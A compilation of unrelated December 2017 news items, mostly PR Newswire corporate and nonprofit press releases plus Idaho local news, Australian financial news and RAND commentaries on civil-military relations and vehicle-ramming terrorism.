Concurrently, Trilogy Metals has given South32 participation rights in future financings to participate at a minimum of 20% to a maximum of 40% in future financings, private or public, to a maximum ownership of 19.9% in the Company. This right expires if South32 does not participate for the lesser of 20%, or that number of shares that would not put them past a 19.9% ownership interest in the Company, in any particular financing.

"We are excited to have South32 as a significant shareholder and joining our other large shareholders: Electrum, Paulson and Baupost. Together with our strong supportive shareholders the Company expects to advance development of the Arctic and Bornite projects in the Ambler mining district. It is an exciting time to be a Trilogy shareholder and I am pleased to personally be ALL-IN on Ambler!", comments Rick Van Nieuwenhuyse, President and CEO of Trilogy Metals.

About Trilogy Metals

Trilogy Metals Inc. is a metals exploration company focused on exploring and developing the Ambler mining district located in northwestern Alaska. It is one of the richest and most-prospective known copper-dominant districts located in one of the safest geopolitical jurisdictions in the world. It hosts world-class polymetallic VMS deposits that contain copper, zinc, lead, gold and silver, and carbonate replacement deposits which have been found to host high grade copper mineralization. Exploration efforts have been focused on two deposits in the Ambler mining district - the Arctic VMS deposit and the Bornite carbonate replacement deposit. Both deposits are located within the Company's land package that spans approximately 143,000 hectares. The Company has an agreement with NANA Regional Corporation, Inc., a Regional Alaska Native Corporation that provides a framework for the exploration and potential development of the Ambler mining district in cooperation with local communities. Our vision is to develop the Ambler mining district into a premier North American copper producer.

Cautionary Note Regarding Forward-Looking Statements

This press release includes certain "forward-looking information" and "forward-looking statements" (collectively "forward-looking statements") within the meaning of applicable Canadian and United States securities legislation including the United States Private Securities Litigation Reform Act of 1995. All statements, other than statements of historical fact, included herein, including, without limitation, the development of the Arctic and Bornite projects in the Ambler mining district, are forward-looking statements. Forward-looking statements are frequently, but not always, identified by words such as "expects", "anticipates", "believes", "intends", "estimates", "potential", "possible", and similar expressions, or statements that events, conditions, or results "will", "may", "could", or "should" occur or be achieved. Forward-looking statements involve various risks and uncertainties. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Company's expectations include the uncertainties involving the need for additional financing to explore and develop properties and availability of financing in the debt and capital markets; uncertainties involved in the interpretation of drilling results and geological tests and the estimation of reserves and resources; the need for cooperation of government agencies and native groups in the development and operation of properties as well as the construction of the access road; the need to obtain permits and governmental approvals; risks of construction and mining projects such as accidents, equipment breakdowns, bad weather, non-compliance with environmental and permit requirements, unanticipated variation in geological structures, metal grades or recovery rates; unexpected cost increases, which could include significant increases in estimated capital and operating costs; fluctuations in metal prices and currency exchange rates; and other risks and uncertainties disclosed in the Company's Annual Report on Form 10-K for the year ended November 30, 2016 filed with Canadian securities regulatory authorities and with the United States Securities and Exchange Commission and in other Company reports and documents filed with applicable securities regulatory authorities from time to time. The Company's forward-looking statements reflect the beliefs, opinions and projections on the date the statements are made. The Company assumes no obligation to update the forward-looking statements or beliefs, opinions, projections, or other factors, should they change, except as required by law.

SOURCE Trilogy Metals Inc.

Related Links

www.trilogymetals.com


ALEXANDRIA, Va., Dec. 19, 2017 /PRNewswire-USNewswire/ -- United Way Worldwide today announced an $18 million gift from Wells Fargo & Company (NYSE: WFC) to support United Way's efforts to fight for the health, education and financial stability of every person in every community by helping one million people find jobs that allow them to better support their families and strengthen their communities, within five years.

Jobs are vital cornerstones of healthy families and communities. Unfortunately, across society, too many people  particularly young people  lack the skills and training needed for the jobs of the 21st century. According to a study by McKinsey and Co., approximately 75 million young people are unemployed around the world, and 225 million are underemployed. The lack of adequate education and job training systems is a leading cause.

"United Way fights to ensure that every person in every community has the opportunity to succeed," said Brian Gallagher, President and CEO of United Way Worldwide. "As part of this commitment, we bring together community leaders from across the public, private and non-profit sectors to strengthen education and training programs so that more people can get jobs that improve their quality of life. This generous gift from Wells Fargo will strengthen our ability to build coalitions that help people get good jobs, support their families and strengthen their communities."

To help one million people find sustainable employment, United Way will build on the success of network leaders, such as United Way of Greater Cincinnati, with established job training and employment strategies. Its initiative, Partners for a Competitive Workforce, is a collaboration of more than 150 organizations that have prepared more than 11,000 residents for good jobs in growing industries like health care, advanced manufacturing, and logistics.

"Wells Fargo has made it a priority to help create opportunities for economic equity in underserved communities," said Jon Campbell, head of Corporate Responsibility and Community Relations at Wells Fargo. "United Way has been a tremendous partner for Wells Fargo, and we are proud to support this new initiative to expand access to steady employment which is key to achieving financial self-sufficiency and income mobility."

Since 2009, Wells Fargo has contributed more than $510 million to United Way through grants, campaign support and sponsorship, financial education programs, and international donor advised giving. The company also created a Financial Capability Network in partnership with United Way that has helped more than 30,000 low-income families take important steps toward financial stability. Wells Fargo's annual Community Support Campaign has been United Way's top corporate campaign every year since 2010. More than 100 Wells Fargo team members serve on local United Way Boards of Directors.

About United Way Worldwide

United Way fights for the health, education and financial stability of every person in every community. Supported by 2.9 million volunteers, 9.8 million donors worldwide and $4.7 billion raised every year, United Way is the world's largest privately-funded nonprofit. We're engaged in 1,800 communities across more than 40 countries and territories worldwide to create sustainable solutions to the challenges facing our communities. United Way partners include global, national and local businesses, nonprofits, government, civic and faith-based organizations, along with educators, labor leaders, health providers, senior citizens, students and more. For more information about United Way, please visit UnitedWay.org. Follow us on Twitter: @UnitedWay and #LiveUnited.

About Wells Fargo

Wells Fargo & Company is a diversified, community-based financial services company with $1.9 trillion in assets. Wells Fargo's vision is to satisfy our customers' financial needs and help them succeed financially. Founded in 1852 and headquartered in San Francisco, Wells Fargo provides banking, insurance, investments, mortgage, and consumer and commercial finance through more than 8,400 locations, 13,000 ATMs, the internet (wellsfargo.com) and mobile banking, and has offices in 42 countries and territories to support customers who conduct business in the global economy. With approximately 268,000 team members, Wells Fargo serves one in three households in the United States. Wells Fargo & Company was ranked No. 25 on Fortune's 2017 rankings of America's largest corporations. The Chronicle of Philanthropy ranked Wells Fargo No. 3 on its most recent list of the top corporate cash philanthropists. In 2016, Wells Fargo donated $281.3 million to 14,900 nonprofits and Wells Fargo team members volunteered 1.73 million hours with 50,000 nonprofits. Wells Fargo's corporate social responsibility efforts are focused on three priorities: economic empowerment in underserved communities, environmental sustainability, and advancing diversity and social inclusion. News, insights and perspectives from Wells Fargo are also available at Wells Fargo Stories.

Media Contact

Southerlyn Reisig

[email protected]

Tel. 703.836.7100 ext.321

Christine Sanchez

[email protected]

Tel. 703-836-7100 ext. 564

SOURCE United Way Worldwide

Related Links

http://www.liveunited.org


WEST HAVEN, Conn., Dec. 19, 2017 /PRNewswire-USNewswire/ -- The University of New Haven announced today that it is the first college in the country to implement interactive software that instantly matches students looking for job openings with the employers looking to fill them.

The University is the beta test site for the software, developed by the Israeli company AcadeME. The University of New Haven already has 2,000 active student and alumni accounts and several hundred employers participating.

"We have been working with AcadeME for the past 18 months to fully develop the system," said Matt Caporale, director of career development. "It works like a dating service. Students develop their profiles, as well as resumes, and tell their story. Employers post jobs, and when they do, the system automatically tells them which students match their requirements."

The system, which is algorithm-based, provides tools that help students and alumni tell their stories. Best of all, the software flips the process most universities use, allowing the matching to work both ways  not only can students seek out employers, but also employers can seek out the best-qualified students.

"The software is helping the university build its reputation with employers, and it is providing an incredible service to our students," Caporale said. "The interactive nature of the system gives quick results for both employers and students."

Since employers can contact those students that interest them, there is less frustration on the parts of both the students and the employers, Caporale said. "AcadeMe has flipped the job hunting process," Caporale says. "It has put power in the employers' hands and taken advantage of the benefits of social media, which students understand."

About the University of New Haven 

The University of New Haven, founded on the Yale campus in 1920, is a private, coeducational university situated on the coast of southern New England. It's a diverse and vibrant community of more than 7,000 students, with campuses around the country and around the world.

Within its five colleges, students immerse themselves in a transformative, career-focused education across the liberal arts and sciences, fine arts, business, engineering, and public safety and public service. More than 100 academic programs are offered, all grounded in a long-standing commitment to collaborative, interdisciplinary, project-based learning.

Information is available at www.newhaven.edu.

SOURCE University of New Haven

Related Links

http://www.newhaven.edu


DAYTON, Ohio, Dec. 19, 2017 /PRNewswire/ -- Winsupply Inc., one of the largest distributors in the nation, has purchased Thomas Pipe & Supply, a Phoenix distributor of industrial pipe, valves and fittings. Terms of the purchase were not disclosed.

"Thomas Pipe & Supply is the number one wholesale distributor of industrial pipe, valves and fittings in Arizona with 34 years of serving their customers," said Roland Gordon, president and CEO, Winsupply Inc. "The company offers pipe fabrication and has enjoyed consistently strong performance through innovation, product line expansion, industry-leading customer service and a superior operating model. Thomas Pipe gives us a strong PVF presence in the Valley of the Sun and beyond to surrounding states."

In selecting Winsupply as its buyer, Thomas Pipe President Don Helmlinger Jr., said, "Winsupply's entire acquisition team created a comfort level for us, which allowed both companies to communicate in a positive atmosphere. At that point, my staff and I realized we had found the perfect fit.

"We discovered that our cultures mirrored each other's: Exceed your customers expectations every day, involve our excellent suppliers with our clients, out-service and out-work the competitors, provide quality products, develop long-lasting relationships and encourage your customers to depend on you, know your markets conditions, and always create a winning attitude in your arena," Helmlinger said.

Helmlinger, who co-owned Thomas Pipe & Supply with investment group GenCap America, of Nashville, Tenn., will continue as president as well as invest equity in Thomas Pipe & Supply with Winsupply. In the Winsupply co-ownership business model, Winsupply Inc. has majority equity in each of its locations, while the local company presidents and sometimes employees own substantial equity.

About Winsupply Inc.

Winsupply Inc. (www.winsupplyinc.com) is a leading supplier of residential and commercial construction and industrial supplies and equipment headquartered in Dayton, Ohio. The privately-held company has nearly 600 wholesaling locations in 45 states and offers entrepreneurs the unique opportunity to own a meaningful part of the local business. Collectively, Winsupply is known as "The Winsupply Family of Companies" and includes Win-branded locations, Noland Company, Carr Supply, Security Plumbing & Heating Supply, Wyatt Irrigation, Electrical Sales, Inc., APCO and Tacoma Electric Supply. In the family are companies conducting business-to-business wholesale distribution of supplies and equipment in plumbing and heating; hydronics; pipe, valves and fittings; HVAC and refrigeration; electrical; fastening hardware; waterworks and utility; pumps; turf irrigation and landscape; and fire system fabrication. Follow Winsupply on Facebook, LinkedIn, and Twitter.

Contact:

Winsupply Thomas Pipe & Supply Maury Williams Don Helmlinger [email protected] [email protected] 937-531-4554 602-254-0410

SOURCE Winsupply Inc.
OAKDALE, Minn., Dec. 19, 2017 /PRNewswire/ -- Woodbury Financial Services, a financial services firm with more than 1,200 advisors across the country, today announced that Martin Tax & Financial Services, Evans and Steele Financial, and Platinum Wealth Management with partner firm Integrated Wealth Management have chosen to join Woodbury's rapidly growing network of financial advisors. These recruitments mark nearly 200 advisors who have joined Woodbury, and 547 who have joined Advisor Group, since the start of 2017.

Headquartered in Independence, MO, Martin Tax & Financial Services is a comprehensive financial services firm committed to helping clients improve their long-term financial success. With more than $200 million assets under administration (AUA), Martin Tax & Financial Services offers a range of services that include financial, estate, retirement and tax planning. When selecting a partner for affiliation, Martin Tax & Financial Services sought a firm that offered a combination of technology resources, advisory business, transition support, compensation, and field support. Woodbury was able to meet these needs while providing optimal flexibility and pricing.

Missouri-based Evans and Steele Financial, LLC was founded in 1994 by financial services industry veterans Bill Evans and Terri Steele. Currently servicing over $97 million AUA, the firm has experienced rapid growth, buoyed by the strength of its client referrals and experienced advisors. Management cited Woodbury's internal culture, company-wide educational opportunities, and proactive customer support as attractive features that influenced their decision.

Platinum Wealth Management Group, Inc. alongside partner firm Integrated Wealth Management is a collection of financial and insurance professionals dedicated to helping families reach their goals. The firm, which has over $200 million AUA, offers comprehensive financial planning, investment management and insurance services tailored to the unique needs of each family that it serves. The provision of top-notch technology, robust representative support systems, broad product offerings, and client-centric processes made Woodbury an ideal fit for Platinum and its needs.

"The veritable influx of new advisory firms we've experienced this year is reflective of the strong industry reputation that we have built for delivering excellent service, and a tailored approach that enables us to support firms' divergent and specific needs," said Rick Fergesen, President and CEO of Woodbury Financial Services. "Every firm that chooses to affiliate with us aligns with our strong values, and we consider them an equal partner in our reciprocal business growth. We are extremely pleased with our recruitment momentum in 2017, and look forward to the continued expansion of our network as we move into next year."

Supported by Advisor Group, one of the nation's largest networks of advisory firms, Woodbury Financial Services provides independent advisors a flexible, open-architecture system that offers them full access to state-of-the-art technology, marketing and management systems  which can be fully adopted or integrated into an advisor's existing platform for an easy transition. Through Woodbury, advisors also have access to dedicated field support and extensive investment solutions.

For media inquiries regarding this announcement, contact: [email protected].

About Woodbury Financial Services, Inc.

Woodbury Financial Services, Inc. is part of one of the nation's largest networks of independent financial advisors and a Registered Investment Advisor, member FINRA and SIPC. Woodbury Financial is supported by Advisor Group, one of the largest truly independent broker-dealer networks in the industry. The firm has more than 1,200 affiliated independent financial advisors and is headquartered in Oakdale, MN. Woodbury employs a client-driven approach focused on meeting the unique demands of businesses and individuals. For more information visit https://www.joinwoodbury.com/.

About Advisor Group

Advisor Group, Inc. is one of the nation's largest networks of independent financial advisors serving over 5,000 advisors and overseeing approximately $190 billion in client assets. Headquartered in Phoenix, AZ, the firm is mission-driven to support the heroic role that advisors can play in the lives of their clients, offering securities and investment advisory services through its subsidiaries FSC Securities Corp., Royal Alliance Associates Inc., SagePoint Financial Inc. and Woodbury Financial Services Inc., as broker/dealers, registered investment advisors and members of FINRA and SIPC. Cultivating a spirit of entrepreneurship and independence, Advisor Group champions the enduring value of financial advisors and is committed to being in their corner every step of the way.

SOURCE Woodbury Financial Services

Related Links

https://www.joinwoodbury.com


TWIN FALLS  The College of Southern Idaho is exploring how much money it can borrow to build a new dormitory on campus.

Trustees voted unanimously Monday to move forward with the process of issuing bonds, but theres no timeline yet when construction might begin, nor a firm cost estimate.

When asked for an explanation of the rationale behind the project by trustee Jan Mittleider, Vice President of Student Services Michelle Schutt cited a lack of housing in Twin Falls. Plus, she said, living on campus provides benefits for students such as higher grade point averages, retention and graduation rates.

We want them to be here, and thats what housing creates, she said.

Living on campus also provides a level of safety and social interaction in a central place thats more of a college experience instead of a commuter campus, trustee Jack Nelsen said.

The new dorm will be on CSIs Twin Falls campus near the existing 240-bed Eagle Hall  currently, the only residence hall. CSI also manages the off-campus Northview and Eagle View apartments.

The new dorm could also include the main commercial kitchen for CSIs campus, instead of in the Taylor Buildings cafeteria.

If a new dorm is built, it will mean a total of 400 beds between the new dorm and a future remodel of Eagle Hall.

CSIs dormitory housing commission  which oversees college-owned student housing  met last week and recommended college trustees move forward with choosing a financing team, including a bond underwriter and attorney. Theyll do a feasibility study for a new residence hall.

By doing this, this will allow us to take the next steps, vice president of administration Jeff Harmon said.

He told the CSI board theyre not selecting an architect at this point. The financing team will determine how much money the college can afford to borrow for the project.

Were really looking at the feasibility and what we can do in terms of debt repayment, Harmon said.

Nelsen said he wanted to clarify for the sake of transparency the board is addressing two issues: whether to build a new residence hall and whether to move the cafeteria into the new dorm.

Schutt said she hopes a new residence hall  a contemporary layout with apartment-like suites  will help with recruiting students, including student-athletes.

Theres also a potential revenue stream the college hasnt fully considered, Schutt said: renting out the space for summer events such as conferences.

During their meeting, trustees also:

Approved two new collections for the Herrett Center for Arts and Science  which were donated  including 26 paintings and drawings, and 47 artifacts such as masks, baskets and headdresses.

Library and museum director Teri Fattig also gave an update on activities at the Herrett Center over the past year.

Approved a Head Start/Early Head Start operational report.

Approved updates to the colleges policy and procedure manual.

Changes focus on employees and are procedural-based clarifications, human resources director Eric Nielson said. Topics include the internal hiring process, and vacation, personal, sick and disability leave.

Heard a presidents report.

After four years operating an outreach center in Idaho Falls, CSI has closed it, since eastern Idaho now has a community college.

Changed the date for Januarys board meeting to Jan. 29 due to a scheduling conflict with the state legislative session.

Heard a report about the colleges new alumni association.
XUZHOU, China, Dec. 19, 2017 /PRNewswire/ -- The third season of the acclaimed XCMG Apprentice Program ("the Program") has welcomed five international apprentices to participate in a "One Week CEO" project, where they experience XCMG from the perspective of CEO at XCMG's headquarters in Xuzhou, China.

The five apprentices, hailing from the U.S., Poland, Russia, Malaysia and Algeria, were selected from more than 20,000 applicants from 58 countries and regions, a significant increase from the first two seasons.

"This one-week Program has allowed the apprentices to experience the entire range of XCMG's offerings and practices, from marketing our intelligently manufactured, high-end products to international clients to managing a world-class global R&D program, all from the businessman's perspective," noted Liu Jiansen, Assistant President of XCMG and General Manager of XCMG Import & Export Co. Ltd. "We believe that these five 'future CEOs' have gained a lot of knowledge and inspiration after experiencing XCMG's high-end manufacturing, innovative technology and entrepreneurial spirit firsthand."

With a special emphasis on leadership and professional development, the Program provided the apprentices an opportunity to gain insight into daily operations at XCMG. They participated in simulated international marketing negotiations under the theme of "Belt and Road" Initiative, as well as exchanged ideas on topics including global research and development (R&D) integration and intelligent manufacturing (IM) transformation with Wang Min, Chairman and President of XCMG, along with eight CEOs from XCMG and XCMG subsidiary companies.

The apprentices also visited the world's largest combined factory building in the construction machinery industry and Asia's largest vibration and noise lab. They also got the chance to operate construction equipment, including China's largest-tonnage loader, the LW1200K, and learned how to operate 3D printers in the R&D center.

Launched in January 2016, the Program was created to offer global apprentices the opportunity to learn about XCMG, its innovative technologies and global influence while fostering international exchange and promoting Chinese culture in the construction machinery industry.

About XCMG

XCMG is a multinational heavy machinery manufacturing company with a history of 74 years. It currently ranks eighth in the world's construction machinery industry. The company exports to more than 177 countries and regions around the world.

For more information, please visit: www.xcmg.com, or XCMG pages on Facebook, Twitter, YouTube, LinkedIn and Instagram.

SOURCE XCMG

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Open-ended real estate special AIFs have generated a total return of 2.8% p.a. over the past ten years. This comparatively weak result is attributable primarily to funds with properties in the rest of Europe, i.e. outside Germany. By contrast, German-oriented funds have generated a total return of 4.3% p.a. over

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The Federal Court has ordered Murray Goulburn to pay a $650,000 fine plus ASIC's legal costs over the embattled dairy giant's disclosure failures ahead of last year's profit downgrade.

The Australian Securities and Investments Commission took Murray Goulburn to the Federal Court alleging that from March 22, 2016 to April 27, 2016, the listed diary co-op failed to notify the ASX that it was unlikely to achieve forecasts it made in February.

Confirming the settlement agreed to between the troubled dairy processor and ASIC in November, Justice Davies said the penalty was towards the higher end of the statutory maximum, because of the "gravity" of breach, the "involvement of the senior level of management," and the "market impact and prejudice" it caused

The court found that MGRE contravened its disclosure obligations under section 674(2) of the Corporations Acton and from 22 March 2016, continuing until 27 April 2016 by failing to notify the ASX that circumstances had arisen a consequence of which was that, Murray Goulburn Co-operative Co. Limited (MG) was unlikely to achieve the forecast:

Available Weighted Average Southern Milk Region Farmgate Milk Price for the financial year ending 30 June 2016 of $5.60 per kilogram of milk solids; and

Full-year net profit after tax for the financial year ending 30 June 2016 of approximately $63 million, as stated by MG and MGRE in their ASX announcements dated 29 February 2016 entitled 'Murray Goulburn  Half Year Financial Results News Release' and 'Murray Goulburn  Half Year Financial Results Presentation.'

ASIC issued proceedings against MGRE in November last year.

MGRE admitted the contravention in a Statement of Agreed Facts and Admissions and the parties filed joint submissions for a declaration and a civil penalty to be imposed.

In handing down her judgment on Friday 15 December 2017, the Hon Justice Davies said "the penalty is towards the higher end of the statutory maximum but a penalty towards the higher end is warranted, reflecting the gravity of the contravention, the market impact and prejudice caused by the contravention, the involvement of the senior level of management in the contravention and failure of governance, and the inadequacy of MGRE's compliance policies at the time and the duration of the contravention."

ASIC Commissioner Cathie Armour said if an entity has previously given a profit forecast to the market and that subsequently changes causing its profit forecast to differ from that guidance by a material amount, it is crucial to inform the market immediately in order that investors are apprised with up-to-date information.

MG Unit Trust was officially admitted to the official list of the ASX in July 2015.

Murray Goulburn's previous management was responsible for destroying one of the greatest agricultural entities in Australia, Barnaby Joyce recently said.
Melbourne-based La Trobe Financial, one of the largest non-bank lenders in the country, has struck a deal with Blackstone, a New York-based private equity company.

Blackstone has taken an 80% stake in the privately-owned firm for an undisclosed sum.

Chief executive Greg O'Neill will retain 20% ownership and continue in his role at the 65 year old lending institution.

O'Neill said the opportunity for La Trobe to partner with Blackstone was the perfect fit for staff, customers and the business.

"The specialist credit space is experiencing a defining period of change and growth around the world right now and it is critical that we continue to build on our strong capital position, expand our networks and draw on global best practice," he said.

Australian Broker noted La Trobe Financial manages investment mandates in excess of A$13 billion, including a retail Credit Fund of almost $2 billion and over $1 billion of public RMBS bonds issued.

Currently La Trobe has over 200 staff with offices in Melbourne, Sydney, Shanghai and Hong Kong.

The AFR says Australia's $1.7 trillion mortgage market has become a hotspot for global private equity titans with more buyout funds tipped to follow Blackstone and KKR's recent forays into the shadow banking sector.

The La Trobe deal follows the $675 million takeover of listed non-bank lender Pepper by KKR earlier this month.
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In a move that establishes a global network of professional publishing events under its direction, BolognaFiere, organizer of the Bologna Childrens Book Fair, has reached an agreement to co-organize the China Shanghai International Childrens Book Fair beginning in 2018.

On November 19, representatives of BolognaFiere (among them BCBF exhibition director Elena Pasoli), signed an agreement with a group of organizations (including the Shanghai XinHua Distribution Group) that oversee the China Shanghai International Childrens Book Fair. The Shanghai show will be held November 9-11, 2018 at the Shanghai World Expo Exhibition and Convention Center.

All of the major Chinese publishers attend the CSICBF. BolognaFiere plans to focus its involvement in the Shanghai show on the further development of rights sales and on opportunities for cultural exchange, professional training, and mounting International conferences and exhibitions.

The agreement establishes an international calendar of events under the direction of BolognaFiere that will also include the launch of The New York Rights Fair, a new rights marketplace, organized in partnership with Publishers Weekly. The New York Rights Fair will make its debut in New York City from May 30 to June 1, 2018.

According to BolognaFiere president Gianpiero Calzolari, the exhibition organizer has now established a calendar of international book publishing events in areas that includes the U.S., China and Europe.

Calzolari said, Childrens publishing will now have, alongside the key annual event in Bologna, two new initiatives, one in the USA and another in China: two appointments that will provide a boost to the publishing trade with the US and Chinese markets.
Clearing the path to growth for global companies investing and operating in the United States or expanding overseas

Youre entering new markets and need to focus on your vision and growth. Our team understands the landscape and can guide you  from the changing labor laws in your new region, to communicating effectively for success there, to new regulations and local nuances that can mean success. Let our community of solvers untangle the complexity and deliver the holistic, global perspective your new opportunities demand.
Why invest in Germany?

Germany is one of the world's leading industrial nations and ranks among the top five largest trading nations. Home to 82 million inhabitants, Germany is the EUs most populous country and has the largest market within the European Union. With a gross domestic product of more than USD $3.5 trillion, Germanys economy is the largest in Europe, and the country has the fourth strongest economy in the world.

Investors benefit from Germanys central location. It has an open market with 22,000 foreign enterprises employing more than 2.7 million qualified personnel. Offering a favorable environment for innovation, Germany has 277 international patents per one million inhabitants. Investors, current and potential, can benefit from the nations highly developed infrastructure and legal security. Foreign investors enjoy attractive tax subsidies and special financial grants, free access to investment in all sectors and eligibility for full business ownership, even in recognized sectors that are under public domain. Germany also permits foreign investment in national bodies such as mail, telecommunication and other such sectors.
RUPERT  First there was a tie. Then there was a coin toss. And now theres been a recount, and Dick Galbraith is the winner of the second Heyburn City Council seat.

Officials hand counted the ballots Monday and realized the race had not been a tie, as originally tallied on election night.

Galbraith later lost a coin toss to determine the winner, and so officially asked for a recount under Idahos election laws. The recount showed Galbraith received 113 votes, instead of tying with candidate Glen Loveland for 112 votes.

Galbraith said he was obviously happy.

I had a nagging feeling that it wasnt right, Galbraith said. And honestly, I just had too much heartburn over losing to a coin toss.

Tim Hurst, chief deputy for the Idaho Secretary of State, said the discrepancy between a machine count on election night and a count by hand usually occurs because voters do not follow directions when marking their ballots.

They dont mark their ballots correctly or the marks are not dark enough, Hurst said.

Robert Berry, deputy attorney general for the state, was also on hand to watch.

Loveland, who was declared the winner of the seat at the Nov. 15 coin toss, said he was disappointed with the outcome of the recount and said it may have been a waste of taxpayer money.

Im fine with it, he said after Galbraith was declared the winner. I said I was fine flying with the coin toss and Im fine with this.

Galbraith said it was not a waste of taxpayer money.

It changed the outcome, Galbraith said. And I think it changed it for the better.

Both candidates shook hands when the election was finally and officially called for Galbraith.

Forty-five minutes after the Minidoka County Sheriff Eric Snarr arrived at the Minidoka County Judicial Center with ballots, precinct and county officials had hand-counted the two precincts and a small stack of absentee ballots.

Heyburn City Councilwoman Joanne Justesen and Heyburn Mayor Cleo Gallegos sat in the audience and watched.

Justesen said she had never witnessed the recount process.

I think it is very interesting. The whole process, including the coin toss, has been interesting, she said.

County Clerk Tonya Page opened the bag for each precinct and showed the content to Galbraith and Loveland, the only two candidates present.

Galbraith and Loveland watched from behind as Kay Moore, a county employee, read the votes from each ballot.

The two precinct officials marked each vote on a sheet of paper as it was read.

Hurst said this was the third vote recount in the state this year.

There is no cost for the candidate requesting a recount in a tie vote, he said.

With larger counties, like Ada County, they will pull a sample of ballots to hand count and then run them through the vote tabulator machine; if the two are within an acceptable range all the ballots are recounted by machine. If the difference is outside the range, the ballots are hand counted.
Why invest in Korea?

Korea ranked first in the Bloomberg Innovation Index and ICT Development Index for 2015. It has entered into FTAs with 50 countries and is the only nation that has FTAs with the worlds three largest marketsthe United States, China and the European Union. Korea provides ideal circumstances for foreign companies; in fact, it ranked fourth on the World Banks Ease of Doing Business list. Korea has spurred foreign direct investment (FDI) by providing corporate income tax reduction, cash grants and various business incentives, including site location support. As Korea continues to move toward more technology intensive-industries and focuses on its shift to a knowledge-based service economy, it offers abundant business opportunities for foreign investors, particularly leaders in advanced technology and the service sectors.
A quarter century ago, in a widely read piece in the military journal Parameters, now-retired Major General Charles Dunlap warned ( PDF ) of several troubling trends in American civil-military relations that, if left unchecked, could have disastrous effects for democracy. He imagined a bleak future, in which Americans became exasperated with democracy. We were disillusioned with the apparent inability of elected government to solve the nation's dilemmas. We were looking for someone or something that could produce workable answers. The one institution of government in which the people retained faith was the military. Twenty-five years later, Dunlap's dystopia, thankfully, has not materialized, but his diagnosis of some underlying trends in American civil-military relations rings eerily true today.

The gap between Americans' confidence in the military versus its civilian counterparts has widened over the last several decades, leading former military officers to play an increasingly prominent role in politics and changing the civil-military balance in potentially unhealthy ways.

Fewer Americans believe in democracy now than in the past. A recent Pew survey found that 51 percent of Americans were dissatisfied with the way democracy is functioning. The same Pew study found that 17 percent of Americans would consider a military government, while 22 percent would consider strong man rule. Perhaps even more concerning for the future is that this dissatisfaction tends to be concentrated among younger Americans. According to one study ( PDF ) published in the Journal of Democracy, while more than 70 percent of the pre-World War II generation ranked living in a democracy as essential, only 30 percent of millennials do

The remainder of this commentary is available at lawfareblog.com

A former active Army officer and Iraq veteran, Raphael S. Cohen is a political scientist at the nonprofit, nonpartisan RAND Corporation, an adjunct professor of Security Studies in Georgetown University's Security Studies Program, and the author of Demystifying the Citizen Soldier.

This commentary originally appeared on Lawfare on December 17, 2017. Commentary gives RAND researchers a platform to convey insights based on their professional expertise and often on their peer-reviewed research and analysis.
The global trend in vehicular attacks by terrorists appears to be fueled by exhortation and example. Jihadist organizations have urged their followers abroad to carry out simple attacks with readily available weapons and specifically mention driving vehicles into crowds of pedestrians.

Since 2010, al-Qaida has repeatedly suggested possibilities for relatively easy do-it-yourself attacks, including using vehicles to mow down civilians. And in September 2014, the Islamic State group issued a message to urge its followers abroad to kill infidels any way they could. Smash his head with a rock, or slaughter him with a knife, or run him over with your car. Successful spectacular attacks provide additional inspiration.

Ten such attacks took place between 1996 and 2013. Since 2014, the pace has quickened, with more than 40 vehicular assaults being carried out. More than 20 have occurred in 2017 alone. Not all of the perpetrators have been terrorists. Some attacks were by individuals deemed to be mentally unstable. Seven incidents have occurred in the United States since 2006.

The vehicular terrorism trend took off in Israel and the Palestinian territories more than 20 years ago. Unable to easily acquire firearms or explosives, Palestinians turned to a readily available weapon. Since 1996, they have carried out more than 20 of the 53 reported vehicular attacks. However, terrorists motivated by jihadist ideology are responsible for most of the recent attacks. They have carried out attacks in Europe and the United States, and they have proven far more lethal.

In a number of the attacks, the driver and other occupants of the vehicle continued the assault after the vehicle was blocked, stabbing bystanders until the attackers were brought down by police. Most of the recent jihadist vehicle assaults ended with the death of the attackers. In the New York attack on Halloween, a pickup truck took a deadly turn on a crowded bike path, killing eight before the driver crashed his car into a school bus, then exited brandishing two pistols that turned out to be a pellet gun and a paintball pistol. It was an invitation to be shot in what may have been intended as a suicide attack.

In the past 18 months, more than 150 people have been killed by homicidal drivers. Nearly 800 were injured, many seriously. The carnage began in Nice, France, in July 2016 when a cargo truck plowed into a crowd, killing 86, and extends to the most recent attack, in November in Toulouse, France, when a car slammed into a crowd in front of a school, injuring three. Berlin, Melbourne, Stockholm, Paris, London, Barcelona and New York City fill out the grim chronology.

Concrete barriers now protect the bike path in lower Manhattan. Such barriers are often proposed as a solution to keep vehicular terrorism at bay, but concerns about how the barriers might impede emergency vehicle access, cause difficulties for the disabled and other considerations argue against their installation. The latest attack adds weight to the argument for them in New York and a hundred other cities.

The barriers are a constant reminder of terror and provide little net security benefit. A determined attacker need only drive a few blocks further to find a group of cyclists or pedestrians crossing the street. There is no such thing as invulnerability and no easy answers. Cities are filled with vehicles and pedestrians, on the move often only inches apart.

The week after the vehicular attack on New York City, state lawmakers proposed legislation aimed at making it harder for terrorists to rent vehicles. The Vehicle Ramming Prevention Act would set up a hot-line for rental company workers to call to report suspicious activity and create guidelines to help them recognize what actions might signal terrorist intent.

Swedish authorities are exploring the possibility of geo-fencingusing technology to create a virtual boundaryin busy parts of urban areas. Such systems involve digital boxes installed on heavy vehicles that would prevent unauthorized trucks from entering or make it impossible for the trucks to go too fast, giving people more time to evade an attack. Autonomous cars could perhaps be programmed to impede their ability to be used for ramming. Society increasingly depends on technology to ensure securityhumans, it seems, cannot be trusted.

If terrorists continue to employ vehicles as attack weapons, the urban landscape will slowly change as bollards, barricades and barriers, chicanes and checkpoints increasingly surround and subdivide public spaces.

Brian Michael Jenkins is a senior adviser to the president of the nonprofit, nonpartisan RAND Corporation and an author of numerous books, reports and articles on terrorism-related topics.

This commentary originally appeared on U.S. News & World Report on December 15, 2017. Commentary gives RAND researchers a platform to convey insights based on their professional expertise and often on their peer-reviewed research and analysis.
Defence and Security after Brexit

Photo by lukbar/Getty Images Brexit may pose more immediate day-to-day challenges to UK and European security rather than defence. However, both are likely to be subject to long-term uncertainty and change. Both sides risk becoming weaker and less secure if Brexit negotiations provoke a zero-sum approach to defence and security and a messy divorce.

Background

On 23rd June 2016, the UK voted to leave the European Union (EU), a decision known as Brexit. In the months since the referendum decision, debates on the forthcoming Brexit negotiations have focused on topics such as trade, sovereignty and immigration. However, the UKs decision to leave the EU raises important questions for defence and security in the UK, Europe and wider world  not least the US and the transatlantic NATO alliance.

